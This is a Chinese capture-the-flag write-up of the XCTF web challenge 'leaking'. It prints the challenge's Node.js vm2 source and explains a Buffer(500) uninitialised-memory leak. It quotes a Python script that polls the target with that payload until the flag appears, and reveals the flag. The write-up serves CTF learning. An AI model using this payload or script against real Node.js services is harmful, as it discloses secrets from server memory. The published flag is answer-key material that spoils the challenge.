攻防世界xctfweb题leaking题解

打开网站我们可以看到如下代码

"use strict";var randomstring = require("randomstring");
var express = require("express");
var {VM
} = require("vm2");
var fs = require("fs");var app = express();
var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());}
});app.listen(3000, function() {console.log("listening on port 3000!");
});

这里涉及到了node.js的知识以及沙箱的知识。

贴几篇文章可以了解一下其中的知识。Node.js沙箱逃逸

浅谈 Node.js安全

首先，通过简单的代码审计我们知道由于存在eval我们是可以在vm2环境中执行命令的，但是会被req.query.data.length限制。

所以我们要思考如何绕过限制。这里涉及到Node.js中的buffer函数

在较早一点的 node 版本中 (8.0 之前)，当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer，并且这个 Buffer 是未清零的 8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存

也就是说，我们可以通过buffer来读取内存，从而绕过限制。

这里贴别人wp的脚本：

# encoding=utf-8import requests
import time
url = 'http://YOURIP:PORT?data=Buffer(500)'
response = ''
while 'flag' not in response:req = requests.get(url)response = req.textprint(req.status_code)time.sleep(0.1)if 'flag{' in response:print(response)break

（小声bb一句这个脚本我不知道为什么执行不了，提示显示ModuleNotFoundError: No module named 'requests'。毕竟自己太菜了，还没学python）

拿到flag

flag{4nother_h34rtbleed_in_n0dejs}

攻防世界xctfweb题leaking题解相关推荐

攻防世界[刷题笔记]之Web方向（练习区）（后半）
网络安全学习攻防世界[刷题笔记] Web方向(新手区)(后半) xff_referer webshell command_execution simple_js 小结攻防世界[刷题笔记] Web方 ...
攻防世界Web题 - unseping 总结
攻防世界Web题 - unseping 总结 1.审题进入题目,可以看出来是典型的php反序列化题目. 2.源代码分析 <?php highlight_file(__FILE__); //显示 ...
【ics-05 | mfw】攻防世界CTF题WP
攻防世界CTF题WP ics-05 所需知识解题步骤学习知识 php伪协议(文件包含漏洞中使用) preg_place函数 mfw 所需知识解题步骤学习知识 Dirserach工具 GitHa ...
攻防世界XCTF-WEB入门12题解题报告
WEB入门题比较适合信息安全专业大一学生,难度低上手快,套路基本都一样需要掌握: 基本的PHP.Python.JS语法基本的代理BurpSuite使用基本的HTTP请求交互过程基本的安全知识( ...
攻防世界———MISC 高手区题解
目录 1,base64stego 2,easycap 3,Avatar 4,What-is-this 5,签到题 6,Training-Stegano-1 7,Excaliflag 8,Get-the ...
【愚公系列】2021年11月攻防世界-进阶题-MISC-018(快乐游戏题)
文章目录一.快乐游戏题二.答题步骤 1.无总结一.快乐游戏题文件:攻防世界下载对应文件二.答题步骤 1.无这题很简单直接玩游戏就可以得到flag flag:UNCTF{c78391055 ...
【愚公系列】2021年11月攻防世界-进阶题-MISC-025(Miscellaneous-200)
文章目录一.Miscellaneous-200 二.答题步骤 1.python 总结一.Miscellaneous-200 文件:攻防世界下载对应文件二.答题步骤 1.python 下载附件得到 ...
【愚公系列】2021年11月攻防世界-进阶题-MISC-030(red_green)
文章目录一.red_green 二.答题步骤 1.zsteg 总结一.red_green 文件:攻防世界下载对应文件二.答题步骤 1.zsteg 下载得到一张图片解法一:pytho脚本 #生成 ...
【愚公系列】2021年11月攻防世界-进阶题-MISC-032(就在其中)
文章目录一.就在其中二.答题步骤 1.ssl 总结一.就在其中文件:攻防世界下载对应文件二.答题步骤 1.ssl 下载附件得到流量包,使用 binwalk 查看文件中有些什么,发现一个 ke ...

攻防世界xctfweb题leaking题解

攻防世界xctfweb题leaking题解相关推荐

最新文章

热门文章